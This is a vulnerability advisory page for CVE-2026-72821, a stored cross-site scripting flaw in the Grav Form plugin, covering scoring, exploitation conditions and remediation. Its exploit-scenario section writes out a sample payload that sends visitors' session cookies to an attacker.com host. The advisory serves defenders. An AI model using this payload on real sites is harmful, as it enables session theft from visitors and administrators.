Skip to main content

Grav Form Plugin CVE-2026-72821

| EUVDEUVD-2026-58635 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-08-14 VulnCheck GHSA-3mpx-xv5p-92mv
5.1
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain form-authoring credentials
  2. Delivery
    Inject script payload into radio/toggle label
  3. Exploit
    Victim passively loads affected form page
  4. Execution
    Browser renders unsanitised label via Twig |raw
  5. Persist
    Script executes in victim browser context
  6. Impact
    Exfiltrate session token or perform privileged action

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the attacker to hold a Grav CMS account with form-authoring permissions - the ability to create or edit forms containing radio or toggle fields. This is the sole critical prerequisite; no special server-side configuration or feature flag is needed beyond the Form plugin being installed. The victim must load a page that renders the poisoned form in their browser (passive viewing, no deliberate user action such as a button click). Exploitation is blocked against users who lack form-authoring access and against deployments where no untrusted users have been granted that role. Authentication requirements are confirmed by the CVSS 4.0 vector's PR:L metric.

Impact

The CVSS 4.0 score of 5.1 (Medium) is well-calibrated for this vulnerability class. Exploitation is gated behind a form-authoring account (PR:L in the 4.0 vector), which meaningfully constrains the attacker pool to trusted-but-not-fully-trusted internal users in multi-author Grav deployments. The UI:P metric reflects that victims must passively load the form page - no deliberate click is required - which is a realistic condition given forms are often embedded in public-facing pages. Despite the moderate score, the scope change (SC/SI both Low, mapping to S:C in CVSS 3.1) is significant: injected scripts execute in other users' browsers, including administrators, enabling session cookie theft or CSRF-chained privilege escalation. No EPSS score was supplied, so exploitation probability cannot be quantified statistically. No CISA KEV listing exists, and no POC code was identified in the provided intelligence. Real-world risk is elevated in shared-access Grav instances but negligible in single-author or tightly permissioned environments.

Exploit ScenarioDerived

An attacker holding a form-author account within a shared Grav instance edits a public-facing form and sets a radio button option label to a payload such as <img src=x onerror=fetch('https://attacker.com/?s='+document.cookie)>. Every subsequent visitor - including site administrators - who loads the form page triggers the payload, leaking their session cookie to the attacker. No public exploit code has been identified, but the attack pattern requires no specialised tooling given the trivial nature of stored XSS injection.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 14, 2026

Stored cross-site scripting in the Grav Form Plugin before version 9.1.15 allows authenticated form authors to inject arbitrary HTML and JavaScript into radio and toggle field option labels, which then execute in the browsers of any visitor or administrator rendering that form. The root cause is Twig's |raw filter being applied to user-controlled label content, bypassing the template engine's automatic output encoding. No public exploit code or active exploitation has been identified at time of analysis; the CVSS 4.0 score of 5.1 accurately reflects the requirement for prior authentication with form-authoring privileges.

RemediationAI

Upgrade the Grav Form plugin to version 9.1.15 or later, which removes or sanitizes the unsafe |raw filter application on radio and toggle field option label output. The vendor advisory at https://github.com/getgrav/grav/security/advisories/GHSA-5xv4-g337-2pg7 should be consulted for upgrade instructions and changelog details. If immediate upgrade is not feasible, restrict form-authoring permissions exclusively to fully trusted administrators - this eliminates the attack surface entirely at the cost of reduced collaborative workflow. As a defence-in-depth measure, deploying a strict Content-Security-Policy header (e.g., script-src 'self') will block inline script execution in victim browsers, neutralising most XSS payloads, though this may require auditing and updating other inline scripts in the application. Before patching, administrators should audit existing form definitions for unexpected HTML content in radio or toggle labels.

Affected VersionsENISA

grav 0 <9.1.15

Affected Packages

euvd grav fix: 9.1.15

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Grav is a flat-file CMS that uses the Twig templating engine for rendering. Twig's |raw filter explicitly marks a variable's output as HTML-safe, disabling its default auto-escaping. When this filter is applied to the label text of radio button or toggle form fields - which are user-authored strings - any embedded HTML tags or script blocks pass through to the rendered page verbatim. This is a textbook CWE-79 (Improper Neutralization of Input During Web Page Generation) stored XSS pattern: the payload is persisted in the form configuration and fires on every page load for every user who views the form. The CPE cpe:2.3:a:getgrav:grav:*:*:*:*:*:*:*:* covers the Grav product broadly; the vulnerability is scoped to the Form plugin component, with versions before 9.1.15 confirmed affected.

Know when Grav gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
vuln.today AI 5.4 MEDIUM

Form authoring requires a low-privilege account (PR:L); victim must load the form page (UI:R); scripts execute cross-user (S:C); no availability impact applies.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

Lifecycle Timeline

1
Patch available
Aug 14, 2026 - 13:01 EUVD

DescriptionCVE.org

Grav Form plugin versions before 9.1.15 contain a stored cross-site scripting vulnerability in radio and toggle field option labels rendered with the Twig |raw filter. Attackers with form authoring permissions can inject HTML and script payloads in option labels that execute in the browsers of visitors and administrators viewing the form.

Threat Intelligence Overview

EPSS Score
0.1%
Top 96% exploitable
Prevalence
Low
niche flat-file CMS with limited enterprise adoption
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in Grav

View all
CVE-2025-66294 HIGH POC
8.7 Dec 01

Server-side template injection (SSTI) in Grav (getgrav/grav) prior to 1.8.0-beta.27 allows an authenticated attacker hol

CVE-2025-66301 HIGH POC
8.6 Dec 01

Broken access control in Grav CMS (CWE-285) before 1.8.0-beta.27 lets an authenticated editor-level user escalate their

CVE-2025-50286 HIGH POC
8.1 Aug 06

A Remote Code Execution (RCE) vulnerability in Grav CMS v1.7.48 allows an authenticated admin to upload a malicious plug

CVE-2024-34082 CRITICAL POC
9.9 May 15

Grav is a file-based Web platform. Rated critical severity (CVSS 9.9), this vulnerability is remotely exploitable, low a

CVE-2021-47812 CRITICAL POC
9.8 Jan 16

GravCMS 1.10.7 allows unauthenticated remote attackers to write arbitrary YAML configuration files, leading to full serv

CVE-2026-65008 CRITICAL POC
9.3 Jul 21

Remote code execution in Grav CMS 2.0.4 (fixed in 2.0.7) lets an authenticated user holding the admin.pages or api.pages

CVE-2026-75827 CRITICAL POC
9.3 Aug 18

Remote code execution in Grav CMS before 2.0.15 allows attackers holding page-edit or blueprint-config privileges to wri

CVE-2026-75837 CRITICAL POC
9.3 Aug 18

Vertical privilege escalation in Grav CMS before 2.0.14 lets a delegated administrator holding only the admin.users perm

CVE-2026-75828 CRITICAL POC
9.3 Aug 18

Stored cross-site scripting in Grav CMS before 2.0.15 lets authenticated editors smuggle JavaScript event handlers past

CVE-2025-66844 CRITICAL POC
9.1 Dec 15

Server-side request forgery (SSRF) in Grav CMS versions prior to 1.7.49.5 allows remote authenticated attackers to make

CVE-2025-66299 HIGH POC
8.8 Dec 01

Grav is a file-based Web platform. Prior to 1.8.0-beta.27, Grav CMS is vulnerable to a Server-Side Template Injection (S

CVE-2026-72819 HIGH POC
8.7 Aug 14

Remote code execution in Grav CMS before 2.0.13 allows authenticated low-privilege users to plant and execute arbitrary

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy